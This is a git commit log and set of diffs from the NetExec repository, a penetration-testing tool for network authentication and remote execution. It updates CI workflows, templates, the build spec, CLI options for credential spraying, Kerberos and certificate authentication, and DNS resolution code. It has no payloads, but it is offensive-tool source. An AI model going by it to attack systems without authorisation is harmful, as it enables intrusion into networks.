Signed-off-by: sandw1ch <[email protected]>
2023-10-10 17:23:12 -05:00
sandw1ch 47a158fdc2 Update e2e_commands.txt
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 16:09:38 -05:00
sandw1ch 2e0a73c225 Update and rename get_fgpp.py to pso.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 16:07:27 -05:00
sandw1ch bab6377101 Delete nxc/modules/pso.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 16:06:54 -05:00
sandw1ch 9a4594ea40 Update get_fgpp.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 15:58:00 -05:00
sandw1ch 6f8143136c Update get_fgpp.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 15:40:13 -05:00
sandw1ch 2915a54811 Update get_fgpp.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 14:26:36 -05:00
sandw1ch 0d5030be81 Update poetry.lock
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 13:37:51 -05:00
sandw1ch cdced86af4 Update e2e_commands.txt to include get_fgpp
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 13:36:39 -05:00
sandw1ch cbefc31a04 Update pyproject.toml to include dateutil
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 13:30:43 -05:00
sandw1ch e898c25716 Create get_fgpp.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 13:18:12 -05:00
180 changed files with 13711 additions and 6704 deletions

No files matched your search

+18
View File
@@ -0,0 +1,18 @@
---
name: Feature request
about: Request a new feature or enhancement
title: ''
labels: ''
assignees: ''
---
**Please Describe The Problem To Be Solved**
(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
**(Optional): Suggest A Solution**
(Replace This Text: A concise description of your preferred solution. Things to address include:
* Details of the technical implementation
* Tradeoffs made in design decisions
* Caveats and considerations for the future
If there are multiple solutions, please present each one separately. Save comparisons for the very end.)
+36
View File
@@ -0,0 +1,36 @@
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
Please also include relevant motivation and context.
List any dependencies that are required for this change.
## Type of change
Please delete options that are not relevant.
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
- [ ] This change requires a documentation update
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
## How Has This Been Tested?
Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
If you are using poetry, you can easily run tests via:
`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
## Screenshots (if appropriate):
Screenshots are always nice to have and can give a visual representation of the change.
If appropriate include before and after screenshot(s) to show which results are to be expected.
## Checklist:
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
- [ ] New and existing e2e tests pass locally with my changes
- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] I have performed a self-review of my own code
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
@@ -10,12 +10,12 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.11"]
python-version: ["3.13"]
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Build Native Binary
@@ -25,13 +25,13 @@ jobs:
pyinstaller netexec.spec
- name: Upload Windows Binary
if: runner.os == 'windows'
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxc.exe
path: dist/nxc.exe
- name: Upload Nix/OSx Binary
if: runner.os != 'windows'
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxc-${{ matrix.os }}
path: dist/nxc
@@ -10,11 +10,11 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.8", "3.9", "3.10", "3.11"]
python-version: ["3.10", "3.11", "3.12", "3.13"]
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Build Python ZipApp with Shiv
@@ -22,12 +22,12 @@ jobs:
pip install shiv
python build_collector.py
- name: Upload nxc ZipApp
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
path: bin/nxc
- name: Upload nxcdb ZipApp
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
path: bin/nxcdb
+9 -6
View File
@@ -1,24 +1,27 @@
name: Lint Python code with ruff
# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
on: [push, pull_request]
on:
push:
workflow_dispatch:
pull_request_review:
types: [submitted]
jobs:
lint:
name: Lint Python code with ruff
runs-on: ubuntu-latest
if:
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
- name: Set up Python
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: 3.11
python-version: 3.13
cache: poetry
cache-dependency-path: poetry.lock
- name: Install dependencies with dev group
+34 -18
View File
@@ -1,32 +1,48 @@
name: NetExec Tests
on:
workflow_dispatch:
pull_request_review:
types: [submitted]
jobs:
build:
name: NetExec Tests for Py${{ matrix.python-version }}
name: Test for Py${{ matrix.python-version }}
if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
runs-on: ${{ matrix.os }}
strategy:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
python-version: ["3.10", "3.11", "3.12", "3.13"]
steps:
- uses: actions/checkout@v3
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
- name: Install poetry
run: |
pipx install poetry --python python${{ matrix.python-version }}
poetry --version
poetry env info
- name: Install libraries with dev group
run: |
poetry install --with dev
- name: Run the e2e test
run: |
poetry run pytest tests
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
poetry --version
poetry env info
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
cache: poetry
cache-dependency-path: poetry.lock
- name: Install with pipx
run: |
pipx install . --python python${{ matrix.python-version }}
- name: Install libraries with dev group
run: |
poetry install --with dev
- name: Load every protocol and module
run: |
poetry run netexec winrm 127.0.0.1
poetry run netexec vnc 127.0.0.1
poetry run netexec smb 127.0.0.1
poetry run netexec ldap 127.0.0.1
poetry run netexec wmi 127.0.0.1
poetry run netexec rdp 127.0.0.1
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -L
+2
View File
@@ -1,8 +1,10 @@
data/nxc.db
hash_spider_default.sqlite3
hash_spider_testing.sqlite3
*.bak
*.log
.venv
pyvenv.cfg
.vscode
.idea
# Byte-compiled / optimized / DLL files
+1 -1
View File
@@ -1,4 +1,4 @@
Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
Copyright (c) 2022, byt3bl33d3r
All rights reserved.
+13 -2
View File
@@ -1,4 +1,4 @@
![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg)
![Supported Python versions](https://img.shields.io/badge/python-3.10+-blue.svg)
[![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
[![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx)
[![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
@@ -21,7 +21,7 @@ Going forward, our intent is to maintain a community-driven and maintained proje
You are on the **latest up-to-date** repository of the project NetExec (nxc) ! 🎉
- 🚧 If you want to report a problem, open un [Issue](https://github.com/Pennyw0rth/NetExec/issues)
- 🚧 If you want to report a problem, open an [Issue](https://github.com/Pennyw0rth/NetExec/issues)
- 🔀 If you want to contribute, open a [Pull Request](https://github.com/Pennyw0rth/NetExec/pulls)
- 💬 If you want to discuss, open a [Discussion](https://github.com/Pennyw0rth/NetExec/discussions)
@@ -37,6 +37,17 @@ See the project's [wiki](https://netexec.wiki/) (in development) for documentati
# Installation
Please see the installation instructions on the [wiki](https://netexec.wiki/getting-started/installation) (in development)
## Linux
```
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
```
## Availability on Unix distributions
[![Packaging status](https://repology.org/badge/vertical-allrepos/netexec.svg)](https://repology.org/project/netexec/versions)
# Development
Development guidelines and recommendations in development
+17 -1
View File
@@ -13,16 +13,25 @@ a = Analysis(
('./nxc/modules', 'nxc/modules')
],
hiddenimports=[
'aardwolf',
'aardwolf.connection',
'aardwolf.commons.queuedata.constants',
'aardwolf.commons.iosettings',
'aardwolf.commons.target',
'aardwolf.protocol.x224.constants',
'impacket.examples.secretsdump',
'impacket.examples.regsecrets',
'impacket.dcerpc.v5.lsat',
'impacket.dcerpc.v5.transport',
'impacket.dcerpc.v5.lsad',
'impacket.dcerpc.v5.gkdi',
'impacket.dcerpc.v5.rprn',
'impacket.dcerpc.v5.even',
'impacket.dpapi_ng',
'impacket.tds',
'impacket.version',
'impacket.ldap.ldap',
'jwt',
'nxc.connection',
'nxc.servers.smb',
'nxc.protocols.smb.wmiexec',
@@ -32,14 +41,16 @@ a = Analysis(
'nxc.protocols.smb.smbspider',
'nxc.protocols.smb.passpol',
'nxc.protocols.mssql.mssqlexec',
'nxc.parsers.ldap_results',
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.msada_guids',
'nxc.helpers.ntlm_parser',
'paramiko',
'pypsrp.client',
'pywerview.cli.helpers',
'pylnk3',
'pypykatz',
'pyNfsClient',
'masky',
'msldap',
'msldap.connection',
@@ -59,12 +70,17 @@ a = Analysis(
'dploot.triage.browser',
'dploot.triage.credentials',
'dploot.triage.masterkeys',
'dploot.triage.mobaxterm',
'dploot.triage.backupkey',
'dploot.triage.wam',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.lib.target',
'dploot.lib.smb',
'pyasn1_modules.rfc5652',
'unicrypto.backends.pycryptodomex',
'dateutil.relativedelta',
'sspilib.raw._text',
],
hookspath=['./nxc/.hooks'],
runtime_hooks=[],
+111 -50
View File
@@ -1,25 +1,63 @@
import argparse
import argcomplete
import sys
from argparse import RawTextHelpFormatter
from os import listdir
from os.path import dirname
from os.path import join as path_join
import nxc
from nxc.paths import NXC_PATH
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.helpers.logger import highlight
from nxc.logger import nxc_logger
from nxc.helpers.args import DisplayDefaultsNotNone
from nxc.logger import nxc_logger, setup_debug_logging
import importlib.metadata
def gen_cli_args():
VERSION = importlib.metadata.version("netexec")
CODENAME = "nxc4u"
parser = argparse.ArgumentParser(description=f"""
setup_debug_logging()
try:
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
DISTANCE, COMMIT = COMMIT.split(".")
except ValueError:
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
DISTANCE = ""
CODENAME = "SmoothOperator"
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
dns_group = dns_parser.add_argument_group("DNS")
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
parser = argparse.ArgumentParser(
description=rf"""
. .
.| |. _ _ _ _____
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
\\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
ॱ \ / ॱ
ॱ ॱ
/ /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
˙ \ / ˙
˙ ˙
The network execution tool
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
@@ -28,48 +66,53 @@ def gen_cli_args():
{highlight('Version', 'red')} : {highlight(VERSION)}
{highlight('Codename', 'red')}: {highlight(CODENAME)}
""", formatter_class=RawTextHelpFormatter)
parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
parser.add_argument("--debug", action="store_true", help="enable debug level information")
parser.add_argument("--version", action="store_true", help="Display nxc version")
{highlight('Commit', 'red')} : {highlight(COMMIT)}
""",
formatter_class=RawTextHelpFormatter,
parents=[generic_parser, output_parser, dns_parser]
)
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False)
mgroup = module_parser.add_mutually_exclusive_group()
mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
std_parser = argparse.ArgumentParser(add_help=False)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)")
credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
fail_group = std_parser.add_mutually_exclusive_group()
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication")
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
@@ -77,18 +120,36 @@ def gen_cli_args():
try:
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser])
except Exception as e:
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
argcomplete.autocomplete(parser, always_complete_options=False)
args = parser.parse_args()
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
if args.version:
print(f"{VERSION} - {CODENAME}")
print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
sys.exit(1)
# Multiply output_tries by 10 to enable more fine granural control, see exec methods
if hasattr(args, "get_output_tries"):
args.get_output_tries = args.get_output_tries * 10
return args
def get_module_names():
"""Get module names without initializing them"""
modules = []
modules_paths = [
path_join(dirname(nxc.__file__), "modules"),
path_join(NXC_PATH, "modules"),
]
for path in modules_paths:
modules.extend([module[:-3] for module in listdir(path) if module[-3:] == ".py" and module != "example_module.py"])
return sorted(modules, key=str.casefold)
+2 -2
View File
@@ -43,5 +43,5 @@ if len(host_info_colors) != 4:
# this should probably be put somewhere else, but if it's in the config helpers, there is a circular import
def process_secret(text):
hidden = text[:reveal_chars_of_pwd]
return text if not audit_mode else hidden + audit_mode * 8
reveal = text[:reveal_chars_of_pwd]
return text if not audit_mode else reveal + (audit_mode if len(audit_mode) > 1 else audit_mode * 8)
+180 -65
View File
@@ -1,53 +1,101 @@
import random
import sys
import contextlib
from os.path import isfile
from threading import BoundedSemaphore
from functools import wraps
from time import sleep
from ipaddress import ip_address
from dns import resolver, rdatatype
from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.loaders.moduleloader import ModuleLoader
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.protocols.ldap.laps import laps_search
from nxc.helpers.pfx import pfx_auth
from impacket.dcerpc.v5 import transport
import sys
sem = BoundedSemaphore(1)
global_failed_logins = 0
user_failed_logins = {}
def gethost_addrinfo(hostname):
is_ipv6 = False
is_link_local_ipv6 = False
def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
result = {
"host": "",
"is_ipv6": False,
"is_link_local_ipv6": False
}
address_info = {"AF_INET6": "", "AF_INET": ""}
for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
try:
if ip_address(target).version == 4:
address_info["AF_INET"] = target
else:
address_info["AF_INET6"] = target
except Exception:
# If the target is not an IP address, we need to resolve it
if not (dns_server or dns_tcp):
for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
address_info["AF_INET6"] = canonname
result["is_link_local_ipv6"] = True
else:
dnsresolver = resolver.Resolver()
dnsresolver.timeout = dns_timeout
dnsresolver.lifetime = dns_timeout
if dns_server:
dnsresolver.nameservers = [dns_server]
try:
answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET"] = answers_ipv4[0].address
except Exception:
pass
try:
answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET6"] = answers_ipv6[0].address
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
result["is_link_local_ipv6"] = True
except Exception:
pass
if not (address_info["AF_INET"] or address_info["AF_INET6"]):
raise Exception(f"The DNS query name does not exist: {target}")
# IPv4 preferred
if address_info["AF_INET"]:
host = address_info["AF_INET"]
if address_info["AF_INET"] and not force_ipv6:
result["host"] = address_info["AF_INET"]
else:
is_ipv6 = True
host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
result["is_ipv6"] = True
result["host"] = address_info["AF_INET6"]
return host, is_ipv6, is_link_local_ipv6
return result
def requires_admin(func):
def _decorator(self, *args, **kwargs):
if self.admin_privs is False:
if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec":
return func(self, *args, **kwargs)
return None
return func(self, *args, **kwargs)
return wraps(func)(_decorator)
def dcom_FirewallChecker(iInterface, timeout):
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
@@ -67,6 +115,7 @@ def dcom_FirewallChecker(iInterface, timeout):
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
@@ -78,49 +127,70 @@ def dcom_FirewallChecker(iInterface, timeout):
class connection:
def __init__(self, args, db, host):
self.domain = None
def __init__(self, args, db, target):
self.args = args
self.db = db
self.hostname = host
self.port = self.args.port
self.logger = nxc_logger
self.conn = None
self.admin_privs = False
# Authentication info
self.password = ""
self.username = ""
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey or (hasattr(self.args, "delegate") and self.args.delegate))
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
self.failed_logins = 0
self.local_ip = None
self.logger = nxc_logger
try:
self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
if self.args.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
except Exception as e:
self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
# Network info
self.domain = None
self.host = None # IP address of the target. If kerberos this is the hostname
self.hostname = target # Target info supplied by the user, may be an IP address or a hostname
self.remoteName = target # hostname + domain, defaults to target if domain could not be resolved/not specified
self.kdcHost = self.args.kdcHost
self.port = self.args.port
self.local_ip = None
self.dns_server = self.args.dns_server
# DNS resolution
dns_result = self.resolver(target)
if dns_result:
self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
else:
return
if args.jitter:
jitter = args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
if self.kerberos:
self.host = self.hostname
value = random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
sleep(value)
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
try:
self.proto_flow()
except Exception as e:
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
# Catching impacket SMB specific exceptions, which should not be imported due to performance reasons
elif e.__class__.__name__ in ["NetBIOSTimeout", "NetBIOSError"]:
self.logger.error(f"{e.__class__.__name__} on target {target}: {e}")
else:
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
finally:
self.logger.debug(f"Closing connection to: {target}")
with contextlib.suppress(Exception):
self.conn.close()
def resolver(self, target):
try:
return get_host_addr_info(
target=target,
force_ipv6=self.args.force_ipv6,
dns_server=self.args.dns_server,
dns_tcp=self.args.dns_tcp,
dns_timeout=self.args.dns_timeout
)
except Exception as e:
self.logger.info(f"Error resolving hostname {target}: {e}")
return None
@staticmethod
